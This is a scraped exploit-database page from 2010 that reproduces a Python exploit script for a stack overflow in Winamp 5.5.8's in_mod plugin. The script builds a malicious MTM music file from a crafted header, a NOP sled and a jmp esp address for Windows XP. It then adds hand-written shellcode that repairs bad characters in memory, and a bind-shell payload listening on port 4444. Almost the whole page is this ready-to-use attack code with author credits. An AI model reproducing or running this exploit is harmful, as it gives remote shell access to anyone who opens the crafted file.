Home / os / win7

[local exploits] - Winamp 5.5.8 (in_mod plugin) Stack Overfl

Posted on 20 October 2010

<!DOCTYPE html PUBLIC '-//W3C//DTD XHTML 1.0 Strict//EN' 'http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd'><html xmlns='http://www.w3.org/1999/xhtml'><head><meta http-equiv='Content-Type' content='text/html; charset=utf-8' /><meta http-equiv='Content-Language' content='en' /><title>Winamp 5.5.8 (in_mod plugin) Stack Overflow Exploit | Inj3ct0r - exploit database : vulnerability : 0day : shellcode</title><meta name='description' content='Winamp 5.5.8 (in_mod plugin) Stack Overflow Exploit by Mighty-D in local exploits | Inj3ct0r - exploit database : vulnerability : 0day : shellcode' /><link rel='shortcut icon' href='/favicon.ico' type='image/x-icon' /><link rel='alternate' type='application/rss+xml' title='Inj3ct0r RSS' href='/rss' /><script type='text/javascript'>var gaJsHost = (("https:" == document.location.protocol) ? "https://ssl." : "http://www.");document.write(unescape("%3Cscript src='" + gaJsHost + "google-analytics.com/ga.js' type='text/javascript'%3E%3C/script%3E"));</script><script type='text/javascript'>try{var pageTracker = _gat._getTracker("UA-12725838-1");pageTracker._setDomainName("none");pageTracker._setAllowLinker(true);pageTracker._trackPageview();}catch(err){}</script></head><body><pre>=================================================== Winamp 5.5.8 (in_mod plugin) Stack Overflow Exploit =================================================== #!/usr/bin/python # Pwn And Beans by Mighty-D presents: # Winamp 5.5.8.2985 (in_mod plugin) Stack Overflow # WINDOWS XP SP3 FULLY PATCHED - NO ASLR OR DEP BYPASS... yet # Bug found by http://www.exploit-db.com/exploits/15248/ # POC by fdisk # Exploit by Mighty-D # Special thanks to: # fdisk: Who wrote the skeleton of what you are looking at # Ryujin: For pointing the bug # Muts: For bringing the pain and the omelet ideas that weren&#039;t used # dijital1 and All the EDB-Team # The guys from UdeA, Ryepes, HerreraDavid, GomezRam7 # Just one comment: Stupid badchars!!!!!!! header = &quot;x4Dx54x4Dx10x53x70x61x63x65x54x72x61x63x6Bx28x6Bx6Fx73x6Dx6Fx73x69x73x29xE0x00x29x39x20xFFx1Fx00x40x0E&quot; header += &quot;x04x0C&quot; * 16 nopsled = &quot;x90&quot; * 58207 eip = &quot;xEDx1Ex95x7C&quot; # jmp esp WIN XP SPANISH change at will patch_shellcode = &quot;x90&quot; * 16 patch_shellcode += &quot;x90x33xDB&quot; # Set EBX to zero patch_shellcode += &quot;x54x5B&quot; # PUSH ESP ; POP EBX GET THE RELATIVE POSITION patch_shellcode += &quot;x81xEBx95xFCxFFxFF&quot; # make EBX point to our shell patch_shellcode += &quot;x43&quot;*13 # Move EBX as close as we can to the first badchar patch_shellcode += &quot;x90&quot;*4 # Nop sled to avoid damage from CrLf patch_shellcode += &quot;x43&quot;*1 # Move EBX to the first badchar patch_shellcode += &quot;x80x2Bx20&quot; # Set it to 13 - verified patch_shellcode += &quot;x43&quot;*3 # Move EBX to the next badchar patch_shellcode += &quot;x80x2Bx20&quot; # Set it to 05 - verified patch_shellcode += &quot;x43&quot;*16 # Move EBX to the next badchar patch_shellcode += &quot;x80x2BxEC&quot; # Set it to 21 - verified patch_shellcode += &quot;x43&quot;*1 # Move EBX to the next badchar patch_shellcode += &quot;x80x2Bx7C&quot; # Set it to 8e - verified patch_shellcode += &quot;x90&quot;*8 # Nop sled to avoid damage from CrLf patch_shellcode += &quot;x43&quot;*30 # Move EBX to the next badchar patch_shellcode += &quot;x80x2Bx20&quot; # Set it to 05 - verified patch_shellcode += &quot;x90&quot;*8 # Nop sled to avoid damage from CrLf patch_shellcode += &quot;x43&quot;*11 # Move EBX to the next badchar patch_shellcode += &quot;x80x2Bx42&quot; # Set it to CB - verified patch_shellcode += &quot;x43&quot;*1 # Move EBX to the next badchar patch_shellcode += &quot;x80x2Bx78&quot; # Set it to 92 - verified patch_shellcode += &quot;x90&quot;*26 # Nop sled to avoid damage from CrLf patch_shellcode += &quot;x43&quot;*18 # Move EBX to the next badchar patch_shellcode += &quot;x80x2Bx20&quot; # Set it to 04 - verified patch_shellcode += &quot;x90&quot;*16 # Nop sled to avoid damage from CrLf patch_shellcode += &quot;x43&quot;*15 # Move EBX to the next badchar patch_shellcode += &quot;x80x2Bx20&quot; # Set it to 02 - verified patch_shellcode += &quot;x43&quot;*8 # Move EBX to the next badchar patch_shellcode += &quot;x80x2Bx21&quot; # Set it to EC - verified patch_shellcode += &quot;x43&quot;*1 # Move EBX to the next badchar patch_shellcode += &quot;x80x2Bx7C&quot; # Set it to 8e - verified patch_shellcode += &quot;x90&quot;*14 # Nop sled to avoid damage from CrLf patch_shellcode += &quot;x43&quot;*18 # Move EBX to the next badchar patch_shellcode += &quot;x80x2Bx49&quot; # Set it to c1 - verified patch_shellcode += &quot;x90&quot;*13 # Nop sled to avoid damage from CrLf patch_shellcode += &quot;x43&quot;*4 # Move EBX to the next badchar patch_shellcode += &quot;x80x2Bx20&quot; # Set it to EA, but we need F6 patch_shellcode += &quot;x80x2BxF4&quot; # Set it to F6 - verified patch_shellcode += &quot;x43&quot;*9 # Move EBX to the next badchar patch_shellcode += &quot;x80x2Bx20&quot; # Set it to 11 - verified patch_shellcode += &quot;x43&quot;*10 # Move EBX to the next badchar patch_shellcode += &quot;x90&quot;*3 # Nop sled to avoid damage from CrLf patch_shellcode += &quot;x80x2BxCD&quot; # Set it to 3D - verified patch_shellcode += &quot;x43&quot;*3 # Move EBX to the next badchar patch_shellcode += &quot;x80x2Bx20&quot; # Set it to 07 - verified patch_shellcode += &quot;x43&quot;*11 # Move EBX to the next badchar patch_shellcode += &quot;x80x2Bx20&quot; # Set it to 12 - verified patch_shellcode += &quot;x43&quot;*4 # Move EBX to the next badchar patch_shellcode += &quot;x80x2Bx20&quot; # Set it to 12 - verified patch_shellcode += &quot;x90&quot;*13 # Nop sled to avoid damage from CrLf patch_shellcode += &quot;x43&quot;*4 # Move EBX to the next badchar patch_shellcode += &quot;x80x2Bx20&quot; # Set it to 12 - verified patch_shellcode += &quot;x43&quot;*8 # Move EBX to the next badchar patch_shellcode += &quot;x80x2Bx20&quot; # Set it to 12 - verified patch_shellcode += &quot;x90&quot;*19 # Nop sled to avoid damage from CrLf patch_shellcode += &quot;x43&quot;*11 # Move EBX to the next badchar patch_shellcode += &quot;x80x2Bx8E&quot; # Set it to 7F - verified patch_shellcode += &quot;x43&quot;*1 # Move EBX to the next badchar patch_shellcode += &quot;x80x2BxDF&quot; # Set it to 2B - verified patch_shellcode += &quot;x43&quot;*8 # Move EBX to the next badchar patch_shellcode += &quot;x80x2Bx1E&quot; # Set it to EC - verified patch_shellcode += &quot;x90&quot;*11 # Nop sled to avoid damage from CrLf patch_shellcode += &quot;x43&quot;*12 # Move EBX to the next badchar patch_shellcode += &quot;x80x2Bx20&quot; # Set it to 8 - verified patch_shellcode += &quot;x90&quot;*28 # Nop sled to avoid damage from CrLf patch_shellcode += &quot;x43&quot;*29 # Move EBX to the next badchar patch_shellcode += &quot;x80x2Bxa7&quot; # Set it to 66 - verified patch_shellcode += &quot;x43&quot;*1 # Move EBX to the next badchar patch_shellcode += &quot;x90&quot;*4 # Nop sled to avoid damage from CrLf patch_shellcode += &quot;x80x2Bxb8&quot; # Set it to 52 - verified patch_shellcode += &quot;x90&quot;*9 # Nop sled to avoid damage from CrLf patch_shellcode += &quot;x43&quot;*17 # Move EBX to the next badchar patch_shellcode += &quot;x80x2Bx20&quot; # Set it to 3 - verified patch_shellcode += &quot;x90&quot;*9 # Nop sled to avoid damage from CrLf patch_shellcode += &quot;x43&quot;*3 # Move EBX to the next badchar patch_shellcode += &quot;x80x2Bx20&quot; # Set it to 12 - verified patch_shellcode += &quot;x90&quot;*12 # Nop sled to avoid damage from CrLf patch_shellcode += &quot;x43&quot;*2 # Move EBX to the next badchar patch_shellcode += &quot;x80x2Bx20&quot; # Set it to 3 - verified patch_shellcode += &quot;x43&quot;*7 # Move EBX to the next badchar patch_shellcode += &quot;x80x2Bx20&quot; # Set it to 2 - verified patch_shellcode += &quot;x90&quot;*10 # Nop sled to avoid damage from CrLf patch_shellcode += &quot;x43&quot;*6 # Move EBX to the next badchar patch_shellcode += &quot;x80x2Bx20&quot; # Set it to 13 - verified patch_shellcode += &quot;x43&quot;*3 # Move EBX to the next badchar patch_shellcode += &quot;x80x2Bx20&quot; # Set it to 5 - verified patch_shellcode += &quot;x43&quot;*3 # Move EBX to the next badchar patch_shellcode += &quot;x80x2Bx1B&quot; # Set it to F2 - verified patch_shellcode += &quot;x43&quot;*1 # Move EBX to the next badchar patch_shellcode += &quot;x80x2BxF4&quot; # Set it to 16 - verified patch_shellcode += &quot;x90&quot;*19 # Nop sled to avoid damage from CrLf patch_shellcode += &quot;x43&quot;*4 # Move EBX to the next badchar patch_shellcode += &quot;x80x2Bx20&quot; # Set it to 10 - verified patch_shellcode += &quot;x43&quot;*4 # Move EBX to the next badchar patch_shellcode += &quot;x80x2Bx20&quot; # Set it to 10 - verified patch_shellcode += &quot;x90&quot;*20 # Nop sled to avoid damage from CrLf patch_shellcode += &quot;x43&quot;*17 # Move EBX to the next badchar patch_shellcode += &quot;x90&quot;*28 # Lazy nopsled patch_shellcode += &quot;x43&quot;*16 # Move EBX to the next badchar patch_shellcode += &quot;x80x2Bx26&quot; # Set it to E7 - verified patch_shellcode += &quot;x90&quot;*18 # Nop sled to avoid damage from CrLf patch_shellcode += &quot;x43&quot;*1 # Move EBX to the next badchar patch_shellcode += &quot;x80x2BxBE&quot; # Set it to 4C - verified patch_shellcode += &quot;x43&quot;*7 # Move EBX to the next badchar patch_shellcode += &quot;x80x2Bx20&quot; # Set it to 5 - verified patch_shellcode += &quot;x90&quot;*(66) # win32_bind - EXITFUNC=process LPORT=4444 Size=344 Encoder=PexFnstenvSub shellcode = &quot;x29xc9x83xe9xb0xd9xeexd9x74x24xf4x5bx81x73&quot; shellcode += &quot;x33&quot; # Should be 13 shellcode += &quot;xa9x41&quot; shellcode += &quot;x25&quot; # should be 05 shellcode += &quot;x3fx83xebxfcxe2xf4x55x2bxeex72x41xb8xfaxc0&quot; shellcode += &quot;x56&quot; # x21x8e Ripped shellcode += &quot;x53x8dx65x8ex7ax95xcax79x3axd1x40xeaxb4&quot; shellcode += &quot;xe6x59x8ex60x89x40xeex76x22x75x8ex3ex47x70xc5xa6&quot; shellcode += &quot;x25&quot; # should be 05 shellcode += &quot;xc5xc5x4bxaex80xcfx32xa8x83xee&quot; # xcbx92 shellcode += &quot;x15x21x17&quot; shellcode += &quot;xdcxa4x8ex60x8dx40xeex59x22x4dx4exb4xf6x5d&quot; shellcode += &quot;x24&quot; #Should be 04 shellcode += &quot;xd4xaax6dx8exb6xc5x65x19x5ex6ax70xdex5bx22&quot; shellcode += &quot;x22&quot; # Should be 02 shellcode += &quot;x35xb4xe9x4dx8ex4fxb5&quot; # xec8e Ripped shellcode += &quot;x7fxa1x1fx6dxb1xe7x4fxe9x6f&quot; shellcode += &quot;x56x97x63x6cxcfx29x36x0d&quot; # xc1 Ripped shellcode += &quot;x36x76x0d&quot; # xf6 ripped shellcode += &quot;x15xfaxef&quot; shellcode += &quot;xc1x8axe8xc3x92&quot; shellcode += &quot;x31&quot; # Should be 11 shellcode += &quot;xfaxe9xf6xc8xe0x59x28xacx0d&quot; # x3d ripped shellcode += &quot;xfcx2b&quot; shellcode += &quot;x27&quot; # should be 07 shellcode += &quot;xc0x79x29xdcx36x5cxecx52xc0x7f&quot; shellcode += &quot;x32&quot; # should be 12 shellcode += &quot;x56x6cxfa&quot; shellcode += &quot;x32&quot; # should be 12 shellcode += &quot;x46x6cxea&quot; shellcode += &quot;x32&quot; # should be 12 shellcode += &quot;xfaxefxcfx29x14x63xcf&quot; shellcode += &quot;x32&quot; #should be 12 shellcode += &quot;x8cxde&quot; shellcode += &quot;x3cx29xa1x25xd9x86x52xC0&quot; # x7fx2b Ripped shellcode += &quot;x15x6exfcxbexd5x57&quot; shellcode += &quot;x0d&quot; # xec Ripped shellcode += &quot;x2bxd6xfexbexd3x6cxfcxbexd5x57x4c&quot; shellcode += &quot;x28&quot; # should be 08 shellcode += &quot;x83x76&quot; shellcode += &quot;xfexbexd3x6fxfdx15x50xc0x79xd2x6dxd8xd0x87x7cx68&quot; shellcode += &quot;x56x97x50xc0x79x27x6fx5bxcfx29&quot; # x66x52 Ripped shellcode += &quot;x20xa4x6fx6f&quot; shellcode += &quot;xf0x68xc9xb6x4ex2bx41xb6x4bx70xc5xcc&quot; shellcode += &quot;x23&quot; # shoudl be 03 shellcode += &quot;xbfx47&quot; shellcode += &quot;x32&quot; #Should be 12 shellcode += &quot;x57&quot; shellcode += &quot;x23&quot; # Should be 03 shellcode += &quot;x29xacx24x3bx3dx94&quot; shellcode += &quot;x22&quot; # should be 02 shellcode += &quot;xeax6dx4dx57xf2&quot; shellcode += &quot;x33&quot; # should be 13 shellcode += &quot;xc0xdc&quot; shellcode += &quot;x25&quot; # should be 5 shellcode += &quot;xfaxe9&quot; # xf2x16 Ripped shellcode += &quot;x57x6exf8&quot; shellcode += &quot;x30&quot; #should be 10 shellcode += &quot;x6fx3exf8&quot; shellcode += &quot;x30&quot; # Should be 10 shellcode += &quot;x50x6e&quot; shellcode += &quot;x56x91x6dx92x70x44xcbx6cx56x97x6fxc0x56x76xfaxef&quot; shellcode += &quot;x22x16xf9xbcx6dx25xfaxe9xfbxbexd5&quot; shellcode += &quot;x57xd7x99&quot; #xe7x4c Ripped shellcode += &quot;xfaxbexd3xc0x79x41&quot; shellcode += &quot;x25&quot; # should be 05 shellcode += &quot;x3f&quot; payload = header + nopsled + eip + patch_shellcode + shellcode try: file = open(&quot;crash.mtm&quot;, &quot;w&quot;) file.write(payload) file.close() print &quot;MTM file generated successfuly&quot; except: print &quot;Cannot create file&quot; # <a href='http://inj3ct0r.com/'>Inj3ct0r.com</a> [2010-10-20]</pre></body></html>

 

TOP